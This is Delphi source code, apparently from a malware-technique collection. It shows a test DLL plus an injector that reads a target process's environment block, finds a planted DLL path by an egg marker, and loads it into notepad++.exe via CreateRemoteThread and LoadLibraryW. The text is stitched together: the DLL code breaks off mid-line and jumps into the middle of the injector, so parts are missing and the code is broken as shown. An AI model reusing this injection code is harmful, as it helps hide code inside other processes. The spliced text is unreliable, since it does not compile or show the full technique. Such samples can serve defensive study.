(* Example of DLL Code to test DLL Injection: ------------------------------------------ BOF>> library UnprotectTestDLL; uses WinApi.Windows, System.SysUtils, System.Classes; {$R *.res} procedure DllMain(AReason: Integer); var AMessage : String; AStrReason : String; begin case AReason of DLL_PROCESS_DETACH : AStrReason := 'DLL_PROCESS_DETACH'; DLL_PROCESS_ATTACH : AStrReason := 'DLL_PROCESS_ATTACH'; DLL_THREAD_ATTACH : AStrReason := 'DLL_THREAD_ATTACH'; DLL_THREAD_DETACH : AStrReason := 'DLL_THREAD_DETACH'; else AStrReason := 'REASON_UNKNOWN'; end; AMessage := Format('(%s): Injected! Living in %d (%s) process.', [ AStrReason, GetCurrentProcessId(), ExtractFileName(GetModuleName(0)) ]); /// OutputDebugStringW(PWideChar(AMessage)); end; begin DllProc := DllMain; DllMain(DLL_PROCESS_ATTACH) < ERROR_SUCCESS then raise EWindowsException.Create('NtQueryInformationProcess'); if not ReadProcessMemory( AProcessInfo.hProcess, PBI.PebBaseAddress, @APEB, SizeOf(TPEB), ABytesRead ) then raise EWindowsException.Create('ReadProcessMemory'); if not ReadProcessMemory( AProcessInfo.hProcess, APEB.ProcessParameters, @ARTLUserProcessParameters, SizeOf(TRTLUserProcessParameters), ABytesRead ) then raise EWindowsException.Create('ReadProcessMemory'); // Scan Environment Variable Memory Block I := 0; SetLength(ABuffer, AEggLength * SizeOf(WideChar)); pPayloadOffset := nil; while true do begin pOffset := Pointer(NativeUInt(ARTLUserProcessParameters.Environment) + I); /// if not ReadProcessMemory( AProcessInfo.hProcess, pOffset, @ABuffer[0], Length(ABuffer), ABytesRead ) then raise EWindowsException.Create('ReadProcessMemory'); if CompareMem(PWideChar(ABuffer), PWideChar(APayloadEgg), Length(ABuffer)) then begin pPayloadOffset := Pointer(NativeUInt(pOffset) + Length(ABuffer) + SizeOf(WideChar) { =\0 }); break; end; Inc(I, 2); end; SetLength(ABuffer, 0); if not Assigned(pPayloadOffset) then raise Exception.Create('Could not locate Injected DLL Path offset from remote process environment.'); // Debug, read DLL path from remote process // SetLength(ABuffer, AEnvLen - (5 * SizeOf(WideChar))); // ReadProcessMemory( // AProcessInfo.hProcess, // pPayloadOffset, // @ABuffer[0], // Length(ABuffer), // ABytesRead // ); // WriteLn(PWideChar(ABuffer)); // Start DLL Injection if CreateRemoteThread( AProcessInfo.hProcess, nil, 0, GetProcAddress(GetModuleHandle('Kernel32.dll'), 'LoadLibraryW'), pPayloadOffset, 0, AThreadId ) = 0 then raise EWindowsException.Create('CreateRemoteThread'); finally FreeMem(pEnvBlock, AEnvLen); end; end; begin try InjectDLL('C:\Temp\UnprotectTestDLL.dll', 'C:\Program Files\Notepad++\notepad++.exe'); except on E: Exception do Writeln(E.ClassName, ': ', E.Message); end; end.